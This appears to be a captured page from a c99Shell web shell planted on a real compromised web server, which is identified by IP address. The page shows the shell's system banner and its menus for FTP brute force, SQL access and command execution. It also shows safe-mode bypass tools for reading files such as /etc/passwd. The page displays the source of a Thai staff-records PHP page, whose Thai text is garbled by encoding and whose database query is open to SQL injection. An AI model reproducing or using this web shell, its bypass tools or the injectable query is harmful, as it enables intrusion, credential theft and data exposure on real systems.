110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/directorBCNU/ drwxr-xr-x Free 50.99 GB of 127.8 GB (39.9%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?php

session_start();

 if (session_is_registered("valid_user"))

 {

include("../include/FunctionDB.php");

include("../include/Function.php");



 ConnectDB();

       

       $sql ="SELECT * FROM  personal_tb    WHERE    Teacher_code ='$Teacher_code'   " ;

       $result = mysql_query($sql) or die(" Error").mysql_error();

       $rs = mysql_fetch_array($result);



?>

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<link href="../source/style.css" rel="stylesheet" type="text/css">

<link href="../css/default.css" rel="stylesheet" type="text/css" />

<script language="javascript" src="../js/utilities.js"></script>



<table width="522" border="0" align="center" cellpadding="0" cellspacing="0">

    <tr>

        <td width="522" height="163">

          <fieldset>

            <form action="InsertTeacherHis.php" method="post" enctype="multipart/form-data" name="pc" id="pc">

              <table width="94%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#CCCCCC" style="border:0px solid gray; font-size: 14px;"size="12">

                <tr bgcolor="#BFD0E6">

                  <td height="24" colspan="3" bgcolor="#FFFFFF"><div align="center" class="style1"><font color="#000000" face="Tahoma"><strong>аѕФиБўйНБЩЕЗШІФЎТГИЦЎЙТ</strong></font></div></td>

                </tr>

                <tr bordercolor="#99CCFF" bgcolor="#86ade2">

                  <td align="right" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">ЎТГИЦЎЙТ</span></td>

                  <td bgcolor="#FFFFFF">&nbsp;</td>

                  <td bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">

                    <select name="Degree_code" id="Degree_code">

                      <option value=""></option>

                      <?php

                  $sql1 = " SELECT *  FROM degree_tb    ";

                  $result1 = mysql_query($sql1);

                  while( $rs4 = mysql_fetch_array($result1) ) {

                ?>

                      <option value="<?=$rs4['Degree_code'];?>" <?php if( $rs4['Degree_code']==$rs['Degree_code'] ) echo 'selected';?>>

                        <?=$rs4['Degree_name'];?>

                                  </option>

                      <?php

                } # while

                  mysql_free_result($result1);

              ?>

                  </select>

                  </font></strong></font></td>

                </tr>

                <tr bgcolor="#eeeeee">

                  <td height="20" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">ЗШІФЎТГИЦЎЙТ </td>

                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"  ><input name="Degree_His" type="text" id="Degree_His" value="<? echo $rs['Degree_His'] ; ?>" size="45" /></td>

                </tr>

                <tr bgcolor="#eeeeee">

                  <td height="20" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">ЗФЄТаНЎ</td>

                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"  ><input name="Degree_Major" type="text" id="Degree_Major" value="<? echo $rs['Degree_Major'] ; ?>" size="50" /></td>

                </tr>

                <tr bgcolor="#eeeeee">

                  <td height="20" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">К¶ТєС№ </td>

                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"  ><input name="Degree_Institute" type="text" id="Degree_Institute" value="<? echo $rs['Degree_Institute'] ; ?>" size="50" /></td>

                </tr>

                <tr bgcolor="#eeeeee">

                  <td height="20" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">З/ґ/»КУаГзЁЎТГИЦЎЙТ</td>

                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"  >ЗС№·Хи</a>*</a>

                    <select name="mDate" id="mDate" class="select" >

                      <? getDay1to31();?>

                    </select>

аґЧН№

<select name="mMonth" id="mMonth" class="select" >

  <? getThaiMonth();?>

</select>

»Х ѕ.И. </a>

<input name="mYear" type="text" id="mYear" value="<? echo $mYear; ?>" size="3" maxlength="4" style="text-align:center" /></a></td>

                </tr>

                <tr bgcolor="#eeeeee">

                  <td width="22%" height="20" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>

                  <td width="3%" bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

                  <td width="75%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"  ><input type="radio" name="Type_degree" id="Type_degree" <?php if ( !strcmp("$rs[Type_degree]","ґйТ№КТёТГіКШў") ) { echo "checked"; } ?> value="ґйТ№КТёТГіКШў" />

ґйТ№КТёТГіКШў

  <input type="radio" name="Type_degree" id="Type_degree" <?php if ( !strcmp("$rs[Type_degree]","ґйТ№НЧи№П") ) { echo "checked"; } ?> value="ґйТ№НЧи№П" />

ґйТ№НЧи№П</td>

                </tr>

                <tr bgcolor="#BFD0E6">

                  <td height="28" colspan="3" align="center" bgcolor="#FFFFFF"><input type="submit" name="Submit" value=" єС№·ЦЎўйНБЩЕ" class="button" />

&nbsp;&nbsp;

<input type="reset" name="Submit" value=" а¤ЕХВГмўйНБЩЕ" class="button" id="Submit" />

<input type="button" name="Submit" value="»ФґЛ№йТµиТ§" onclick="javascript:parent.close();" class="CURSOR-HAND" id="Submit" />

<font color="#006633" size="2" face="Tahoma">

<input name="DegreeId" type="hidden" id="Recode" value="<? echo $rs[DegreeId]?>" />



<input name="Teacher_code" type="hidden" id="Recode2" value="<? echo $rs[Teacher_code]?>" />

</font></td>

                </tr>

              </table>

            </form>

              

            </label>

        </fieldset>

        

    </td>

  </tr>

</table>

<?php 

    }

else

{

       echo"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";

       echo"Please Login ";

}

?>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: